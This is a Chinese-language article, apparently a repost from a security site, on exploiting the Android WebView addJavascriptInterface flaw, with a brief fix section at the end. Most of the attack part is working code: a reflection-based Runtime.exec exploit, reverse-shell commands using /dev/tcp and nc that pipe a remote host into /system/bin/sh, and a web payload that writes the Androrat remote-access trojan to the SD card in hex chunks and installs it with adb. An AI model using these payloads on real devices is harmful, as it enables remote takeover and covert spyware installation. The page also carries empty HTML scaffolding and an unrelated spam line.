<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/548

                    0x00 背景


                    在android的sdk中封裝了webView控件。這個控件主要用開控制的網頁瀏覽。在程序中裝載webView控件,可以設置屬性(顏色,字體等)。類似PC下directUI的功能。在webView 下有一個非常特殊的接口函數addJavascriptInterface。能實現本地java和js的交互。利用addJavascriptInterface這個接口函數可實現穿透webkit控制android 本機。

                    0x01 檢測利用


                    一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限于android瀏覽器。

                    在android 代碼程序一般是這樣使用:

                    #!java
                    settings.setJavaScriptEnabled(true);
                    settings.setJavaScriptCanOpenWindowsAutomatically(true);
                    mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
                    

                    這里可以用

                    apk->zip->dex->dex2jar->jdgui->java
                    

                    代碼來查找。

                    但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java代碼)

                    在smali代碼中 則是類似下列的代碼:

                    const-string v0, " js2java "
                    invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
                    

                    當檢測到存在上述代碼時,可以進行進一步驗證利用:

                    在11年,已經有人利用addJavascriptInterface進行文件讀寫,并放出簡單的poc,到12年出現了簡單的執行代碼的exp。利用的是反射回調java類的內置靜態變量。如下列的利用代碼;

                    <script>
                    function execute(cmdArgs)
                    {
                        return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    }
                    …
                    </script>   
                    

                    利用java的exec執行linux的shell命令。

                    0x02 遠程獲取shell


                    套用yuange的一句話:Poc遠遠小于exp的價值。

                    利用addJavascriptInterface實現shell.

                    Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。

                    使用了java的反彈shell方法

                    //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
                    

                    在Nexus One 4.3的android虛擬機 并未成功彈出shell.

                    后發現android中可執行 nc命令 (閹割版的不帶-e的nc)

                    這里用了nc的另外一種彈shell的方法完成

                    Exp 內容:

                    #!javascript
                    <script>
                    function execute(cmdArgs)
                    {
                    return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    }
                    execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
                    alert("ok3");
                    </script>
                    

                    // 注 xxx 保護隱私用xx代指。

                    效果如下 ? enter image description here

                    當然可以用遠程IP地址。

                    0x03 遠程掛馬


                    畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足于此。

                    再升華下,實現網頁掛馬。

                    Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的內核版本。利用自身特性的漏洞是目前比較靠譜的方法。

                    這里以androrat遠控木馬為例。

                    實現網頁掛馬

                    大部分瀏覽器已經對下載文件進行保存提示。這里需要把andrat.apk寫到掛馬網頁之中。

                    #!javascript
                    <script>
                    function execute(cmdArgs)
                    {
                    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    } 
                    
                    var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
                    ……
                    var patharm = "/data/app/Androrat.apk";
                    var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
                    execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
                    

                    這樣存在幾個問題:

                    andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入參數大小有限制,(測試的瀏覽器有限制無法執行)

                    /data/app/ 目錄存在權限問題,需要root,chmod 也是同理。

                    Android這種靜默安裝要么是有root或者系統簽名的install權限,要么是做成預裝軟件的樣子并且重啟。或者是2.2 版本左右可以 通過調用隱藏api安裝。

                    經過進行fuzz實驗,完成了掛馬功能:

                    #!javascript
                    <script>
                    function execute(cmdArgs)
                    {
                    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    } 
                    
                    var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4
                    
                    var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94
                    
                    var armBinary3=…
                    var armBinary4=…
                    ……
                    var patharm = "/mnt/sdcard/Androrat.apk";
                    var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
                    //alert(a);
                    execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
                    execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
                    execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
                    execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
                    alert("over !!!");
                    </script>
                    

                    將androrat.apk拆分。

                    利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。

                    利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。 ? enter image description here

                    Androrat 成功安裝,這里使用了androrat的debug=true模式。

                    enter image description here

                    成功連接到控制端。

                    0x04 修復


                    1、Android 4.2 (api17)已經開始采用新的接口函數【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要兼容。

                    2、在使用js2java的bridge時候,需要對每個傳入的參數進行驗證,屏蔽攻擊代碼。

                    3、控制相關權限或者盡可能不要使用js2java的bridge。

                    Link: http://developer.android.com/reference/android/webkit/WebView.html http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String) http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频